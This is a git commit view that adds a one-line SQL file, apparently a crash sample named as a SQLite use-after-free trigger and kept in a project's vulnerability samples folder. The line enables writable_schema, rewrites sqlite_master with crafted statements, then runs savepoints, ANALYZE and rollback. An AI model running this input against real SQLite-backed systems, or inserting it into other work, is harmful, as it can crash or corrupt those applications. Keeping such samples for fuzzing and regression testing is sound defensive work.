about summary refs log tree commit diff
path: root/docs/vuln_samples/sqlite-use-after-free.sql
diff options
context:
space:
mode:
Diffstat (limited to 'docs/vuln_samples/sqlite-use-after-free.sql')
-rw-r--r--docs/vuln_samples/sqlite-use-after-free.sql1
1 files changed, 1 insertions, 0 deletions
diff --git a/docs/vuln_samples/sqlite-use-after-free.sql b/docs/vuln_samples/sqlite-use-after-free.sql
new file mode 100644
index 00000000..4083ee64
--- /dev/null
+++ b/docs/vuln_samples/sqlite-use-after-free.sql
@@ -0,0 +1 @@
+create table t(s);PRAGMA writable_schema=ON;UPDATE sqlite_master SET sql='ANALYZE;CREATE VIRTUAL TABLE t USING fts3;DROP TABLE t;DROP TABLE EXISTS t';PRAGMA r;SAVEPOINT T;ANALYZE;ROLLBACK;SAVEPOINT E;DROP TABLE IF EXISTS t;